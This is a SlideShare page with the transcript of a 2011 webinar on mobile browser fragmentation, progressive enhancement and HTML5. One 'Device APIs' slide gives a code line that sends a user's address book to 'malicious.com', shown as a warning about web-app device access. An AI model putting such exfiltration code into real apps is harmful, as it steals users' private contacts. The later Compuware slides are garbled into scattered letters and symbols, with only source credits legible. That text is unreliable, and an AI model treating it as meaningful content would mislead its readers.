• Save
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World
Upcoming SlideShare
Loading in...5
×
 

Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World

on

  • 2,843 views

Are you delivering quality web experiences to all your end-users – no matter what browser or mobile device they use?...

Are you delivering quality web experiences to all your end-users – no matter what browser or mobile device they use?



Research shows 60% of mobile Web users had a problem in the past year when accessing a Website on their mobile device.



No matter what your customers use to access your website – from Internet Explorer 9 on a PC to Safari on an iPhone – they expect your site to be fast and work flawlessly.



Join renowned mobile platform strategist Peter-Paul Koch and Compuware CTO APM Steve Tack to learn:



- What growing web and mobile browser proliferation means for IT and Web app owners and developers


- The latest browser trends including the evolution of mobile browsers and HTML 5

- How to meet customers’ web experience expectations regardless of browser or device


- What problems exist for companies attempting to maintain cross-browser interoperability


- Best practices to deliver quality web experiences to all customers no matter what browser or device they use

Statistics

Views

Total Views
2,843
Views on SlideShare
2,842
Embed Views
1

Actions

Likes
6
Downloads
0
Comments
1

1 Embed 1

file:// 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World Presentation Transcript

  • State of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppkCompuware Webinar , 24 March 2011
  • Mobile First!• Design your sites for mobile first.• You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display.• The things you leave out of the mobile version don’t really need to be in the desktop version, either.
  • The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb You may groan now. View slide
  • The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb WebKit-based View slide
  • WebKit on MobileThere is no WebKit on mobile!Theres iPhone Safari (2 and 3),and Android (1.0 and 1.5)and S60 WebKit (v3 and v5)and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few moreThese WebKits are all different.
  • Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
  • The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  • The mobile browsers• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb Proxy browsers
  • Proxy browsers• Page is downloaded to and rendered on a specialised server.• A highly compressed image is sent to the client.• Advantage: cheap, both in device and in network costs• Disadvantage: no client-side interactivity
  • Global stats Q4 2010 (by StatCounter)Safari 23% iOS StableOpera 22% Many OSs StableBlackBerry 18% BlackBerry DownNokia 16% Symbian (and S40) StableAndroid 12% Android UpNetFront 4% Sony Ericsson & Samsung StableSamsung 1% bada UpUCWeb 1% Many OSs DownOthers 3%
  • Browser stats• Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats.• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
  • Stats(global, Q4 2010)
  • But usually this is what happens Rest? What rest?
  • Which mobile browsers?• Safari iPhone• Opera Mini• Android WebKit• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit• Dolfin for bada (easy)• Opera Mobile (easy)
  • Progressive enhancementHow do you deal with this immenseamount of browsers?Use advanced tricks, but make sureyour site remains usable without them.The site is enhanced as much as thebrowser allows.
  • Progressive enhancement HTMLAll browsers support HTML. That’s the definitionof a browser.
  • Progressive enhancement Basic CSS HTMLAll browsers support most basic CSS. There willbe bugs, but only few.
  • Progressive enhancement Advanced CSS Basic CSS HTMLAdvanced CSS is restricted to advancedbrowsers. Make sure it contains nothing vital; justnice extras.
  • Progressive enhancement Advanced CSS Basic CSS Basic JavaScript HTMLAll browsers support basic JavaScript, but theycan be slow. Maybe switch off in BB5 and lower.
  • Progressive enhancement Advanced CSS Advanced JavaScript Basic CSS Basic JavaScript HTMLAdvanced JavaScript is a problem. Featuredetection is your friend. Make sure it containsnothing vital.
  • Progressive enhancementCSS animations? Use them.If they don’t work, nothing is lost.Offline storage? Use it.If it doesn’t work, the user reloads thesite every time. Not perfect, but it works.
  • PerformanceHow long does it take to generate 250lists with 20 items each?The following graphs give the number ofseconds it took the browsers.http://quirksmode.org/m/tests/DOMspeed.html
  • Performance
  • Performance
  • HTML5• Which browsers support HTML5?• What is HTML5, anyway?• Ask five web developers and they’ll give you five different answers.
  • HTML5• Offline storage• Video and audio• Canvas• New input types• Websockets• New semantics• SVG• File API• etc. etc. etc.
  • Offline storage• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  • SVG• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  • New input types• Safari iPhone • Obigo WebKit• Android WebKit • Ovi• Dolfin for bada • Bolt• BlackBerry WebKit • BlackBerry old• Opera Mobile • Phantom• Opera Mini • Obigo old• MicroB • NetFront• Nokia WebKit • IE• Firefox • UCWeb
  • HTML5• Which browsers support HTML5?• It depends.• HTML5 is mainly a marketing buzzword.• That’s not bad; we need it.• But it has no technical meaning.
  • HTML5 apps• One core app written in HTML, CSS, and JavaScript.• Deployed to several mobile platforms.• Ideally, CSS and JavaScript are stored on the device.• If it cant be deployed its still a website.
  • Symbian Windows Mobile I’ve done it. In April 2009.
  • Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • Web apps will have to offer them, too.device.phone.call(device.addressBook[mom])
  • Device APIsvar ab = device.addressBook.toString();sendRequest(POST,malicious.com,ab);There’s a serious security problem here.Providing trusted apps might remain an appstore function.
  • Summary• Mobile First! Design for mobile, and your desktop site will become better, too.• Use progressive enhancement. Lots of it. It will keep you sane.• Know which browsers to develop for.
  • Which mobile browsers?• Safari iPhone• Opera Mini• Android WebKit• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit• Dolfin for bada (easy)• Opera Mobile (easy)
  • Thank you • Peter-Paul Koch • http://quirksmode.org • http://twitter.com/ppk• Compuware Webinar , 24 March 2011
  •  W & Y t  /D D  t ^ d dK WD ^ 
  • h d t K s K  
  • D    D / • D ^ D  / h W  h D hDDh/Source: Mary Meeker, Morgan Stanley
  • d  K  D ^•   – D W h  > – :• Z  – > – >• W – t  –  > Y•  & – t d – /• D K K – t / Z – h
  • ^ K  & D h K D t & Y D  ^  t DSource: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
  •    , • /
  • ^ , Z D  h  •  E h^ • E – h^ – • D
  •  h D   /
  •  h D  K E D• D – • ^
  • W D t W ,  Z t ^ D W Z  Z W ^Z ^ • Z • / •  W > dSource: Gomez real user monitoring
  •  Y D t  /  ^ z  h WKs d Z •  •   • ^  W W  >   • / /^W •  W s W  •   ^ • W  t > • E : ^D ^ ^ ^  D •  /^W • W • E •  : Ed •   • W • / • >^• ^ ^Y> t •E E •/  • ^  •K E t D t E ^  K D •  • K WKW  • W   • > • E • & • ^D^
  • < z  h•  – t – K – t W^• t• t• t• t• t• t
  •  • ,dD> –• ^^ –t• W – & : ^ – W :^ – D – Z – D :^
  • >   d /W W• &
  •  D t & / d  z  h E K   K^ ^ K^ W ^
  •  K t WD• D• / – – / W ^ W ^ W t 
  • , d  Y t  /D D  t•• <• d• >• •  K t
  • Y  D • /• Z• Z• ^• Z• /• /• Z ^ W&